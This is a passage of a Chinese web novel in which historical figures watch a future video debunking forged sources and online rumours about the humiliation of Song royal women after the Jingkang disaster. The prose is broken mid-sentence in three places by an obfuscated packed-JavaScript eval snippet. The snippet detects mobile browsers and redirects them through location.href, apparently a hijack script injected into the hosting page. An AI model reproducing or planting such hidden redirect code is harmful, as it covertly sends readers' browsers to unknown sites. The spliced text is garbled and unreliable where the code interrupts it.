【很多人认为刘克庄《后村诗话》里没有记录陆游题壁《钗头凤》的情节,是因为传话筒曾黯或作者刘克庄本人要为了主战派的大前辈陆游避讳。 但这种说法非常难以成立。 陆游要是真的在沈园题壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276701|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了《钗头凤》,大家就都能看到它,传播它。这种人尽皆知的事情真的被刘克庄突然“避讳”了一下,陆游的名声不还是那样吗? 还是那句话,大家都知道你和前妻余情未了啊! 而且刘克庄真的要避讳,就不会在自己的作品里写“二亲恐其堕于学也,数遣妇”。 另外两本书都只把陆游休妻推到陆母不喜欢媳妇这个理由上,只有刘克庄把陆父也拖进了战局,让他成了封建孝道恶势力重要的推手。 陆父是比陆游还要老资格的主战派。刘克庄真的要避讳,就会在这个故事里隐去陆游父亲,不让他承受强行拆开一对鸳鸯的舆论伤害。 我们浅对比一下刘克庄《后村诗话》和只记录婆媳不和休妻的《耆旧续闻》、《齐东野语》…… 避讳的究竟是谁呢?呀~好难猜啊~】 陆游眼前重影,依稀是他早逝的前妻。 他又老又病,羞见美人,于是捧起胸前酒往前一敬,想要退去。 谁知她转身过来,面白无容。 四十年能改变什么呢? 他自诩深情,现在竟然连她的面目都记不住了。 现在听闻天幕聊起父母逼迫休妻的往事,陆游抓住辛弃疾的手,卧在自己的臂膀里,泪却淌成一条长江。 “我拦了爹娘三次……四次!我不想和她分开,我不想……可是……” “后来怎么样了?”辛弃疾捧场。 陆游抬头,黑白分明的眼睛被泪水涂污。他用手指把桌上的眼泪做成了一幅画,辛弃疾细细去看,只看出那是一张脸。 “山阴才子陆务观怎么不会画了?就是用眼泪,到了他手里也该五彩缤纷……” “她让我和离。” “为什么?”辛弃疾耐住性子不被惊到突然站起,“她……这是名节……不能轻抛……” “我要北伐,我不能沉迷小恩小爱,我要去爱北边金人铁蹄下的人。她这么说。” “嫂夫人大义。”辛弃疾想到自己从北向南欲由南往北,归宋成了,北伐却无果。 “她说我是男人,我比她强多了。我可以当文官,可以当武将,可以带着兵回到汴京……她只恨自己为什么不是男儿。” 苍天使我不丈夫,娟然面目何为乎。① “她说她想学李易安,以诗讽喻,才算为北伐添一笔。只能劝说自己身边的人北伐,又算什么?” 欲将血泪寄山河,去洒东山一抔土。② “我要北伐啊!”78岁的老头大吼。 王师北定中原日,家祭无忘告乃翁。③ 【讲到这里,想必大家对陆游《钗头凤》究竟写给谁自有判断,up就进入下一个话题了~ 好了好了,up听到大家期待彩蛋的声音了!只是这个彩蛋,大家可不要抱着愉悦的心情去看哦~ 因为这是一场尸变。】 “什么……尸变?”辛弃疾瞳孔一缩,要拔剑却发现不在身旁,便警惕盯着天幕,以防天象引灾。 陆游强撑着起来,脑中混沌,敲着桌子想让自己尽快清醒。 【历史是被填补的。无数“事实”向下叠压,笔记小说们往那个时代洒上一捧捧属于未来的土。 今人在古人的墓冢上向下挖掘,纵然能挖出被各种“事实”淹没的真相,更大的可能却是捧着后世撒上的土如获至宝,夸耀着自己已经得到真正的历史。 人们用审判的目光去看猎奇的历史,满足了自己的好奇心和拯救欲。这只是真相的一场尸变,却引发了数年的互联网狂欢。 所以我们要去对抗很多人了。 你们……愿意相信我吗?】 26.靖康耻(5) 什么叫“你们愿意相信我吗”? 还认为天幕有神明本事的人们吵嚷起来。天幕有能力跨越时间,神明以伟力建立起的思想统治必将永垂不朽。 老农在田里挥汗如雨,心中感慨天幕真好。老地主加租从没问过他们一句愿不愿意,天幕比他厉害多了,竟然还愿意问问他们的意见。 他口中的“老地主”则捧着香茗挠起脑袋:“天幕说的话可是圣旨哩!让不信的人信,大神还做不到哈?” 他们并不知道陈钰是用了多大的决心做出这部分视频。 他们不知道现代,不知道互联网,更不知道那猛于虎的流言蹿出纸面,挑拣了最时代化的名字,横行在大街小巷。 网暴。 【提到靖康耻,我们第一时间会想到什么? 想到汴京城破北宋灭亡,想到宋徽宗赵佶和宋钦宗赵桓“二圣北狩”,还是想到北宋宗室除了九皇子赵构、宋哲宗孟皇后的所有直系都被金人包了全家桶东三省玩雪?】 天幕话语一出,北宋上下震恐。有人为这亡国的景象震惊愤怒,也有人为自己的生命惶恐不安。 李煜并不在这两类人之中。他想到了自己和被赵匡胤荣养的后周小皇帝柴宗训,以及百年前的永嘉之乱。 当年黄袍加身,赵匡胤带兵逼宫改朝换代,把过去忠诚过的“先帝”当王爷养。今日听天幕一言,赵宋的皇帝似乎会被异族裹挟着“荣养”。侥幸逃出去的一支不思北伐,只想南面称王。 李煜睁开眼,看到了司马氏篡魏。 司马氏逼迫魏帝禅让,建立的晋朝毁在了永嘉之乱胡人南侵,西晋皇帝司马炽、司马邺被杀,旁支司马睿渡江建立东晋再不北上…… 这与北宋末仿佛一个历史的循环。 而赵宋的运气比司马晋好些,至少皇族没有被异族赶尽杀绝。 他看到面前军伍出身、面容黝黑的皇帝面色红了些许,板着脸送客。 他不知道赵匡胤背过身去吸气,脑中闪过的竟是那些徒手劈御桌的技巧。 待李煜离开,殿中桌子终于碎裂。 【或者说,你第一时间想到的是赵桓接受金人“以妇女抵战争赔款”的条约、后妃帝姬被没入金国宗室妓院“洗衣院”、北宋所有宗室被剥/光衣服进行“牵羊礼”投降仪式呢?】 赵匡胤觉得自己的桌子还是劈早了。 天幕是辟谣的?对啊! 天幕刚刚说的话真假掺半?对他是能听出来啊,但这妨碍他愤怒吗? 内侍收去桌子的残骸,赵匡胤命人叫来弟弟赵光义和宰相赵普。 后代是管不到的,被他视作继承人的弟弟和像亲人一样对待的宰相,他还能管管! 前三个问题还好,后面……后面…… 赵匡胤只觉得拳头自己动了起来。 他听到天上传来一声极明显的叹气。 【提到靖康耻时的女人们,人们总是同情的。 营销号说她们是帝国公主,叹她们沦落成妓,被千人骑万人跨,被剥/衣游街,甚至谷道破裂而死,直说得读者眼边滴出热泪。人们隔着时空挥洒自己的同情心,幻想着如果一切没有发生,汴京还是那个乐园—— 可这并不是她们的命运。 真正可怜可叹的反而是北宋末年的帝姬宫妃们,乃至汴京城所有的女人,以屈辱的样子出现在人们的口舌里,被强行配上了从未发生过的痛苦。 是的,所谓北宋靖康耻帝姬后妃被士兵轮/奸、太后生子、宗室“洗衣院”、“牵羊礼”,还有宋朝以汴京女子明码标价“赔偿”金国的不平等条约,都是近现代编出来的谣言。 北宋的灭亡,只是一次王朝更迭而已。宋亡的特殊在于南北两宋都被异族所灭,汉人被民族歧视,国家没有从侵略者手里保护好自己的子民。】 所有宋人齐齐松一口气,又将心提到嗓子眼。 异族…… 郑皇后在宫里支起架子看天幕,渐渐身边围拢了大批后妃、帝姬和宫女们。 方才听天幕说丈夫是亡国之君,她还想着会不会是南方叛贼突然兴起。“金”这个显眼的招财国号也实在符合那些林间山贼的心理。 宋的北方是辽,西方是夏,西南大理,她从未听说过“金”,这似乎是一支新兴起的势力? 可惜宫中不能干政,不知宫里的消息与外面差了多少年! 听着天幕的话,众妃惶然。年幼的帝姬不知发生了什么,抱住自己颤抖的母亲。 她想了想,恍然大悟! 女孩皱着眉抬头:“姐姐,什么人会让人脱衣游街?蛮人吗?后人这么写,是因为后人自己落后成蛮人了吗?” 郑皇后想起女孩封号茂德帝姬,好像名叫赵长乐。 【我们甚至可以同时辟谣“女人抵债”、“脱衣牵羊”、“洗衣妓院”三个谣言。它们都首次出现于清末光绪年间的一套《靖康稗史》,远离靖康800年。 咦?不对呀!中华书局不是把崔文印整理的《靖康稗史笺证》列入“中国史学基本典籍丛刊”了吗?这真的是清朝末年传出来的伪作吗? 是的。与互联网上靖康黄/谣愈演愈烈相对应的,是近年来越来越多学者对这套书以审慎的态度进行质疑,推翻了《靖康稗史》的所谓“信史”地位。】 “郑圣人——官家赐花石一副——” 远处传来宦官的声音。郑皇后昂首看去,只见一名“美髯公”带着后面的队伍,抬了几座山来。 “诸位娘子也在?正好。”那“美髯公”带着笑恭维两句,“韦娘子……诶呀,王娘子也在。陛下知道王娘子生育帝姬功高,特赐一副花石,希望娘子暂解忧心。” 王贵妃看着自己带来的惠淑、康淑、顺德、柔福、冲懿五位帝姬,再想到自己生的赵楷、赵植、赵机三个皇子。他们没有一个逃过靖康之乱,官家倒想给他们的母亲送花石来消去不满。 女儿没有像后人编造的那样受辱,可历来亡国公主,有哪些个是过得好的? 隋灭陈,乐昌公主下嫁杨素为妾,宁远公主没入后宫隋文帝为宣华夫人……独孤皇后独霸后宫,隋文帝也只敢在她去世后偷腥。若她成了太后,宁远公主只怕要在宫里蹉跎一生。 她的女儿们去的还是蛮夷之地,未来又能过得怎么样? 郑皇后入室,片刻后身后带了宫女,宫女捧出一纸歌。 她眯起眼睛去看“美髯公”:“你是……童贯的义子?” “是,小底的叫童武。义父不能常在身边服侍官家,小底的便来替他尽尽孝心。” “那你便帮我将花石退回。” “郑圣人!” 郑皇后转着手中镯子:“官家知道我生性简朴,舞文弄墨也做得。妾已上表陈情,官家不至于把气都撒到你们身上。” 她的丈夫即位以来多兴花石纲,有什么珍贵的东西都要拿到京城看看,养起了大批大批受贿押差。这群押差仗着自己给官家运货,在乡中用官家名头无恶不作。 今日是她第一次干政。国都要亡了,还养什么废物,赏什么花石,聊什么女人不能涉政! 童武带着大石匆匆远去,郑皇后想起他名字,真是熟悉。 在哪儿听过呢? 韦贤妃上前,话语轻柔:“圣人,那童武随着童贯征西夏,在童贯隐瞒大败向朝廷报捷时说了几句话。后来他不知怎么,就又回了宫里。” 郑皇后笑着往后一旋身:“贤妃,你可要好好教养老九!他这唯一逃过靖康耻的皇子紧俏得很!” 韦贤妃自然应下。 【据《靖康稗史》的序言,这套书应该作于宋朝,是北上的某臣化名“确庵”编纂,后来又有宋人化名“耐庵”重编,最后在清朝光绪年间被谢家福发现。 但是中间断裂的这几百年,不像《耆旧续闻》在《四库全书》和《文渊阁书目》里还留了点痕迹,《靖康稗史》完全消失在人们眼中。 崔文印先生在《靖康稗史》中发现了朝鲜王遗德(李芳远)的序言,于是他推测,此书在国内失传,却在朝鲜得到保存,之后又从日本传回中国。 然而朝鲜并没有关于这本书的任何记载引用。 我们就假设这个推测是真的吧!李芳远是明朝前期的朝鲜国王,他写序言时《靖康稗史》已经传入朝鲜百年,就是说《靖康稗史》至少在元朝传进朝鲜,再在清末传回中国。 那《靖康稗史》拥有的应该是原汁原味的宋朝文字,不受明清鼎盛的小说文学影响。】 朱元璋在殿里踱步,身边是一群成年的皇子们,和刚刚赶来的发妻马皇后。 “妹子你怎么来了?之前你推辞了那么多次,今天倒跑来前朝了。” 马皇后知道朱元璋心烦后人不信明朝编的大书,往亡国的汉人公主身上泼了那么多脏水。他从底层起来,喜欢女人贞洁,但真遇上了这种造谣的可不会手软。 尤其那是汉人的公主,泼上了被异族蹂躏的脏水。 “今天事大。汉人公主都被造这种谣了,我一个国母不来和你呆着我也不放心。大明,也是汉人的朝廷啊!”马皇后忧心道。 太子朱标苦笑一声:“父皇,母后!现在唯一能笑出来的,只剩下天幕说的明朝小说昌盛了!” 【《靖康稗史》里面错误其实很多,我们真要把它说完,大家都要看着屏幕睡着了。所以我们从简从速,尽快让大家知道为什么这是假的。 首先呢,我们要知道,《靖康稗史》出现前几年,它的假发现者真作者谢家福跑去书店,买了一本当时大卖特卖的清朝特供袁本《三朝北盟汇编》。 好巧不巧,袁本《三朝北盟汇编》以错字多出名。比如“都辖”被抄成“都辐”,“习驭直”被抄成“习驭司”。 又是巧了,这些错字被《靖康稗史》完美承袭。 在朝鲜传了几百年的书里出现了清朝才出现的错字,我们还能说什么呢? 哇~真巧!】 永乐大典编纂委员会未发现《靖康稗史》,文渊阁书目编纂委员会未发现《靖康稗史》,四库全书编纂委员会未发现《靖康稗史》。 南宋也整理书目,派人将皇室藏书一本一本查过去,仍然不见《靖康稗史》。 不同时代的人齐齐发声,或大声斥骂谢家福,或笔落千言力争将谢家福钉在耻辱架上。 搓磨公主,造谣皇室,其罪当诛! 【《靖康稗史》作为一本宋朝的书,还出现了清朝的名字。 书中说,茂德帝姬名为“赵福金”,福金暗合金人的王妃称呼“福晋”,而茂德帝姬后来被送给金国皇子,这也太巧了吧! 对呀,这也太巧了吧。靖康耻那时候女真人的王妃叫“萨纳罕”,清朝的王妃才叫“福晋”,刚好谢家福还是个清朝人! 而且茂德帝姬叫赵福金也很奇怪。北宋和金人打仗,宋钦宗还是一个迷信道士开坛作法就能让士兵刀枪不入的人。他怎么还能容忍妹妹叫“福金”呢? 打个比方。 茂德帝姬叫福金,相当于委员长老蒋在战前生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303762|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个孩子,取名蒋福国,字日本,在抗战爆发后还坚持不改名。 怪,真怪。】 这“抗战”是什么? 天幕多次言及靖康耻是“耻”,赵匡胤却不曾生活在那个年代之后,只能借天幕那只言片语揣测靖康耻究竟是什么样的。 只是现在天幕所说,能相信的部分都已经是相对较好的亡国皇族待遇了。不能相信的稗官野史倒一大堆,听得他们只想对着后人痛骂,把军营里这十几年的积累都倾泻上去。 那“耻”从何来? 赵匡胤前面坐着弟弟赵光义、宰相赵普,在这关系到赵宋存亡的事上,他们心意相通般地共享了一个皱紧的眉头。 赵光义起身面对皇兄:“靖康耻是异族侵略中原,或许与能西晋末年五胡乱华比较。天幕所说抗战,似乎是那日本国也像匈奴契丹一样图谋中原。” 赵普却不同意:“日本国不过撮尔小国,怎么能与天朝争辉?他们的土地贫瘠不养人,国力与大宋差的远,哪儿来侵略中原的能力?” 最后还是赵匡胤盖棺定论:“西晋胡人比中原落后那么多,又是哪来侵略中原的实力!” 可恨中原尚未一统,防辽为上,实在腾不出手去监视日本。 而尚有余力的皇帝,如前期的唐玄宗李隆基、明成祖朱棣等,已经将东征日本写进了日记里。 【说到这里,大家又要提出疑问了。网上不是说茂德帝姬谷道破裂而死,怎么嫁给金人了呢? 那个所谓的谷道破裂而死是该死的营销号造谣,不足为信。 还有茂德帝姬嫁给金国皇子,也是《靖康稗史》里的谣言,她的结局并没有信史记录。 谢家福估计也没有想到,他随手写个“洗衣院”,都能被营销号发明成金人妓院;他编了明确结局的茂德帝姬,也能被营销号改成被金人轮/奸而死。 excuse me,营销号们,你们造谣前就没有想过,茂德帝姬是一个曾经和你们生活在同一个世界上的、一个活生生的人吗?】 赵长乐紧紧抱住她的姐姐。 她太小了。她听不懂轮/奸,听不懂谷道破裂,只知道自己死了,姐姐很伤心! 原来“死”这么奇妙,一个“死”字就能让姐姐把她抱得好紧! 圣人看过来了,圣人对姐姐和她很好,所以她笑着和圣人打招呼。 奇怪,圣人怎么哭了呢? 姐姐……也哭了? “长乐太小了……”姐姐把她抱到圣人怀里,圣人抚摸她的头顶,另一只手被椅子硌得通红。 “为什么你们要哭?”茂德帝姬赵长乐问。 “因为后人觉得我们会被脱了衣服在大街上展示。”郑皇后说,“可我没有办法胶住他们的嘴巴,拔掉他们的舌头,折断他们的手指。” “那真值得哭一场。”赵长乐懵懵懂懂地应和着。 “是啊,值得哭一场。” 【另外,谢家福还编造了一个宋徽宗妃子李春燕的故事。 李春燕封号华国夫人,亡国时21岁,被金人赐给伪帝张邦昌为后。 然而历史上真的有这个华国夫人。她的名字叫李从和,亡国时四十来岁,是当时宫里的顶级女官,后来留在汴京城的宫人首领。嫁给伪帝张邦昌则的是她的养女陈氏。① 《靖康稗史》据说是被俘虏的官员所作,可真正被俘虏北上的官员绝对不可能出现这样把顶级女官的名字、年龄、职位、婚嫁全部记错的情况。 《靖康稗史》必定是托名古人的后人伪作。】 郑皇后记得,“从”是朝廷赐名,是为得用的女官们准备的名字。 如今未必有李从和这个人。赐名是要皇后过目的,她却对这个名字没有半点印象。 这人虽然与伪帝有首尾,可她要护住当时汴京留下的宫女们不受金人侵犯。她的存在也应证了她们没有被脱衣游街,没有沦为妓女,可记一功。 以后有宫人李氏要赐名,不必再用“从和”二字了。 可惜宋徽宗赵佶不这么想。 天幕来前,他与蔡京还谈着国事,不知怎么的话题就拐到了新来的花石上。天幕来后,他寻思着自己手下的宋还富裕着,亡国不知要等哪个不肖子孙,还特特意在蔡京面前啐了几口。 谁知天幕话头一拐,亡国之君就落到他头上了呢? ……还捎带一个太子赵桓。 好在蔡京聪慧,用忧心国事的名头掩盖了他自己骂自己的尴尬。宋徽宗刚要得意,却听到自己宫里的女官跑去侍奉伪帝,对自己如此不忠! “李从和目无王法,宜杀之!” 【“牵羊礼”、“洗衣院”、“女人抵押”、“茂德脱/肛”。 这几个谣言的真相已经很明显了,希望网上造谣的人能少说话,多翻书。 学会闭嘴,也学会尊重人。 反正以后恶臭营销号们也是青史无名。后人的后人造谣你们肛/裂而死,也会有挺多人信的吧?】 这日以后,百姓们供奉的简陋天幕神像变成了“天幕捉妖像”。 他们为营销号捏了个青面獠牙,又过些年,不知何处竟然传出一场“天幕降妖记”。它讲述了毒舌却严谨的天幕神看见人间陷于谣言中,多番辛苦,终于捉住散播谣言的妖怪“营销号”的故事。 更有一日,“营销号”成为了“天幕神”的宿敌。岁月如水流,竟有人磕起了“天幕神”和“营销号”的cp。 只因为两个字—— “宿敌”。 27.靖康耻(6) 【好了,现在我们转移到谣言“韦太后为金人生子”和“朱皇后不堪凌辱自杀”的界面。 这两个谣言依然能被划为一组,因为它们都出自著名伪书《南烬纪闻》系列。 还记得我们讲《钗头凤》时那个亲手记录死对头上床事迹的周密吗?他是宋末元初人,他所写的《齐东野语》旗帜鲜明地认为《南烬纪闻》是伪书——即便传说中这本书是宋朝名人辛弃疾所作。 大家先别急,传说真的只是传说,这本书的作者总共有无名氏、辛弃疾、黄冀之、周煇四种说法。抄录者想方设法托名这么多人,真是辛苦。 ——辛弃疾版本首次出现于明朝末年,黄冀之版本首次出现于清朝初年。 但这种微弱的挣扎也不妨碍它进《中国伪书综考》,不是吗?】 从宋末到千年后的“现代”,学者们都认为《南烬纪闻》是伪书,这倒是省了他解释的功夫。 辛弃疾想,然后又骂起来。那些营销号怎么搞的,竟然会去信这种鬼东西? 他旁边是哭红了眼又气红了脸的陆游。辛弃疾看着老友那张通红的脸,往自己脸上一摸,果然灼热。 脸红,气的。 “拿我的名字抹黑朝廷……这些东西是胡虏编出来,想让朝廷蒙羞?或者干脆把我抹黑得没面子北伐?”辛弃疾托着下巴问。他的刀不知什么时候横到了膝上,右手按柄,是蓄势的样子。 陆游脸更红了,两个红脸老怪互相盯着,谁也不让谁。 突然,他们哈哈大笑起来。平生不平事、荒诞事、怨憎事,尽数被倾泻在这场带着泪的狂笑中。 “如果是宋人……他以为我拿不动刀了是吧!” 辛弃疾乱抹残泪,抽刀起身,就在不大的空间里舞了起来。他刀法走势极妙,陆游那万卷书没一本散下碎页。 那边,老迈的陆游拍手叫好,叫着北伐得力,国耻终雪! 唯一被吓到的只剩小猫於菟。它跳下地,挡在陆游面前对着辛弃疾弓起脊背。 辛弃疾看到於菟哈气,眼中却映出明亮的火光,大笑。 老学庵里的风似乎吹得更有劲了些。 【《南烬纪闻》脱胎于南宋宁宗年间的《南迁录》,也是一本伪书,编了不少赵宋宗室女子进金国后宫的小故事。 而且这本书骗骗宋人也没有问题。那个拼命证明《南烬纪闻》是伪书的周密,也在《癸辛杂识》里采用了《南迁录》的说法,说金章宗是宋女赵氏的孩子。 好吧好吧,这本书骗骗对金史不了解的人绝对是够格的,但只要你了解一点,你就会发现—— 金章宗他妈怎么姓“徒单”啊!】 “又是一本伪书!” 蔡邕在房里拼命刻着竹简,渐渐跟不上天幕讲述的速度。他把刻刀一扔,抓着自己头发大喊起来。 蔡琬抄起地上的刀,吹了两下,把它放到蔡邕面前。 “爹你省着点,整个蔡家都被流放,现在已经不是你能往亲戚家里串门借钱的时候了。” 为什么用竹简不用纸张?买不起! 和纸一样,刻刀也要花钱,蔡邕手下压的竹简还要花钱。 蔡邕可怜巴巴看着大女儿,决定再也不嫌弃小女儿有时候的不着调。和蔡琬比起来,四岁的蔡琰真是个能哄父亲开心的蜜罐子。 “阿琬……后世伪书丛生,后人被这样侮辱,爹爹难受才摔的刀……”蔡邕还想向蔡琬争取晚上不在饭桌上被奚落,不被大女儿和妻子冷落十天半月的机会。 蔡琬转过身,眼睛向上一翻:“下次爹要再为后人生气,先为我们家里想想吧!可不要到时候爹哭坟哭得舒服了,我们家里揭不开锅了!” “可他们居然记假史,写伪书,还侮辱人!”蔡邕一动,手下露出“东观汉记”四个字来,这是他流放都不忘编写的史书。 “他们都能乱写书了……”蔡琬突然停住,掐着手指,竟然忍不住颤抖起来,“那时候的纸,价钱有多贱啊……” 【朱皇后不堪受辱自杀,据说是在牵羊礼成后。金国还特意表彰了这位“贞妇”。 伪书又顺理成章地一边制造圣女一边抹除生命。 南宋得到“北狩”成员团死亡消息是相当滞后的。比如宋徽宗死于绍兴五年,而他的死讯在绍兴七年才传到南宋。 宋徽宗郑皇后也是。她死于建炎四年,死讯却在绍兴七年和宋徽宗的死讯一起被带到南宋。 宋金之间总共有两次大规模死亡通讯,第一次是绍兴七年,第二次是绍兴十二年赵构母亲韦太后回南宋。这两次带回的“北狩”死者名单里都没有宋钦宗朱皇后。 根据出使金国的朱皇后侄孙朱龟年带来的消息,她的死亡时间最后被确定为绍兴十三年九月五日。 哇!朱皇后因为不存在的牵羊礼不甘受辱在16年后自杀?《南烬纪闻》和现代营销号真有创意。】 “传太子妃入宫。”郑皇后吩咐下去。 王贵妃将襁褓中的女儿抱起,塞到韦贤妃怀中:“娘娘好运,让柔福也蹭蹭福气。” 一时间,韦贤妃的身边被大群的女人们围满了。她们也不知道怎么做,只能凑成一个圈,圈里是抱着柔福帝姬的韦贤妃。 韦贤妃哭笑不得! 郑皇后轻抿一口茶,眼神细细密密笼住穿红着绿的后宫诸人。她们头上戴着的花被践踏在秀鞋下,耳边簪钗步摇挡着戳着后面的旁边的人。 她们能做什么呢?只能围住韦贤妃,向她“蹭运道”而已。 那是万人之上的皇帝,她们是不能干政的后宫!她们怎么样才能让这马上要沉没的大船继续向前,乘长风破万里浪? “李怜怜,”她叫来自己宫里的典笔,“为我找本书来吧……” 她想看看历代的皇后们。 【既然网上那么多都是谣言,宋朝皇室女子北上,到底怎么样了? up主想柔福帝姬的故事可以给大家答案。 柔福帝姬北上后嫁给了随驾的徐还,在绍兴十一年去世,是韦太后带回南宋的棺椁之一。 另一个例子是宋徽宗乔贵妃。越国太夫人郭氏嫁到乔家,想要跟随乔贵妃北上却被乔贵妃拒绝。 从这件事我们可以看出,“北狩”成员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331348|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团走的时候还可以自己选择带谁北上,金人对赵宋的高级俘虏们还是相对礼遇的。 不然要么郭氏被和乔贵妃一锅端了,要么郭氏听说金兵蹂躏女人早跑了,怎么可能主动提出北上随侍被拒绝啊!】 韦贤妃看着怀中被众人围着,已经睡的不太舒服的孩子,又看到外面乌压压的人们,往外拨开人群。 人群慢慢开了一条缝,于是她又看见了花草树木、鸟兽虫鱼。它们都活着,在生长。 人们目送韦贤妃离开,王贵妃马上跟上,护在柔福身边瞪了一直盯着柔福帝姬的人们好几眼。 柔福……她刚满周岁,她北上的时候还没有成婚。 宫人们头上好像有什么沉沉压下来了。 现在离那该死的靖康耻,到底还有多少年? 【我们不能一棍子打死所有拿着靖康野史说话的人,他们中有的人只是被营销号洗脑包蛊惑了,还没接触过辟谣。 up主曾经看过一部电视剧,剧里有牵羊礼。up主清晰记得那两个皇帝肥胖的身躯在阳光下闪烁,但剧里没有任何女人和恶臭野史编造的一样袒胸露腹的镜头。 这部电视剧虽然受了野史影响,但它是尊重历史上那些女人们的。它没有像那些恶心人的东西一样大编特编,编出洗衣妓院,编出金兵轮/奸宋朝宗室,编出各种不能过审,制造各种博人眼球的破烂。 营销号们欢笑着看着她们死亡,引诱人们为一本三流h文献上吊唁的花束,从花束的夹缝里赚得盆满钵满。 那帝姬们呢?后妃们呢?被牵扯进黄谣的所有女人呢? 垫脚她们的尸骨,显示自己的博学;得到她们的祭品,换取流量和金钱…… 他们真的还有良心吗?】 靖康耻后,陆游不知什么时候也搬了把凳子坐到陆宰唐慧身边,猫又跑过来,跳上他不甚宽阔的腿。 原先听他“前妻”的事,他心情已经坏了。现在听到后人那么多污蔑宋室的谣言,更是让陆宰怀疑他再不松口,刚换上的新牙又要掉了。 阿游你已经过了换牙的年龄了!不要再这么用力把牙都咬掉啊! 但他还是保持了沉默。妻子把他的手掐得死死的,他真开口了,只怕会马上叫出来。 他温柔贤惠的妻子又换了一个地方掐他的手! 陆游转过头来,好像说了什么。他看到妻子点头欣慰,手上痛楚轻了许多。 陆宰收回手一看,手上红痕密密麻麻。眼前的妻子还是那么温柔,温柔地接过他的手,呼呼她掐出来的伤痕。 “刚刚阿游说了什么?”陆宰问。 “他说要写一本现在的故事。”唐慧答。 “父亲、母亲,我要把靖康的事情记下来,不给后人乱编的机会!”陆游拱手,答。 临安小舟上,李清照掬起一捧盛夏的水:“我要写诗。” 扬州兵乱后,姜夔引笛声吹过断壁颓垣:“我要作歌。” 漳州田垄间,杨万里遥望远处集市熙攘:“我要撰赋。” 开封坊市里,岳飞穿巷记下汴京城墙变化:“我们直捣黄龙!” 28.靖康耻(7) 【同样的,把目光过分聚焦于高级俘虏的下三路,容易让我们忽视战争对百姓造成的苦难。 赵宋的皇室们尚能选择北上随行人员,汴京的百姓们却被命令束手任凭金兵抢掠。连退籍的官妓都被一个个抓出,走上了北上的长路。 up刚刚把网上传播最多的下三路洗脑包破了,但大家千万不要以为靖康耻只是一场普通的亡国。 先帝叫门、新帝夜奔、忠良受戮、百姓被屠……人们被恶意的虚构占去注意力,并不代表“耻辱”是不存在的。 靖康耻依然是靖康耻。】 赵匡胤揉揉太阳穴,他黝黑的皮肤在日光下发光,室内所有东西一起白了起来。 “未离海底千山暗,才到天中万国明。” 这是他写太阳的诗句,也是他的渴望。 唐末五代世道黑暗,他追随太阳一样英明的周世宗柴荣,要定鼎江山。 柴荣早逝后,他逐日而行,统一南方,遏止兵灾,从此赵宋成了汉人头上高悬的太阳。 而他的后人亲手浇灭了日光。 “崽卖爷田不心疼!叫门、夜奔……对得起你们的臣子吗?” “笃笃笃——” 赵匡胤循声看去,见到赵光义敲着自己的椅子。他这个文采出众的弟弟青着嘴唇,面色发白:“大哥,叫门……是这种叫法吗?” 赵普看一眼赵光义,转头道:“陛下,皇帝叫门还被当作耻辱,不会是汴京的城门被那什么先帝亲手打开了?” 【托网络的福,明堡宗朱祁镇的叫门事迹广为人知。朱祁镇本人也因此在多个网文里被刀,荣获特殊成就——与胡亥比肩。 所以说,宋徽宗赵佶果然是幸运儿啊! 现代言靖康必说黄谣的网络倾向,居然让他逃过了被嘲讽“叫门天子”的命运。 明明这两个被俘皇帝都曾经趾高气昂地要求一城守军投降。】 嬴政眼皮一跳,朱元璋目瞪口呆。 胡亥是大秦的十八公子,嬴政还记得他出生时那玉雪可爱的样子。照天幕所说,他这个孩子祸害了大秦,让他要千年万代传承下去的大秦亡了国! 大秦的万世永存他可能看不到,可这个倾注了一代代人心血的国家,怎么能让胡亥这么糟蹋? 嬴政一阵晕眩,他赶紧扶住头颅。日光变得迷离,无数黑点在他眼前晃动。 “令扶苏好好锻炼,修养身体。” 胡亥有机会登上皇位,必然是他的大儿子扶苏寿数不永,死在了他前面。 半晌后,嬴政盯着面前没批完的竹简,怒火被时间消磨,让他能够尽可能平静去看整件事。 “胡亥长大以后,还是随着众公子学习。” 他不至于因为以后的事迁怒一个没几岁的孩子。 他给了孩子一个机会,要是再长歪,别怪他无情。 明朝,朱元璋回过味来,气得眼歪鼻斜。 “朱祁镇,咱的子孙后代,能当胡亥、当赵佶?” 风牵着朱元璋的发丝,于是他随风往前走几步,迎着洞开的殿门。 “他妈生他的时候把人丢了,胎盘养大了是吧!” 朱标看着自己父亲,也不觉得皇帝做这种事情丢人。他们家是泥腿子里出来的,天命在身即可,也没人能强求他们做什么自己不想做的事。 只是“祁”字辈……他家的辈分不是“允文遵祖训,钦武大君胜,顺道宜逢吉,师良善用晟”吗?哪儿来的“祁”? 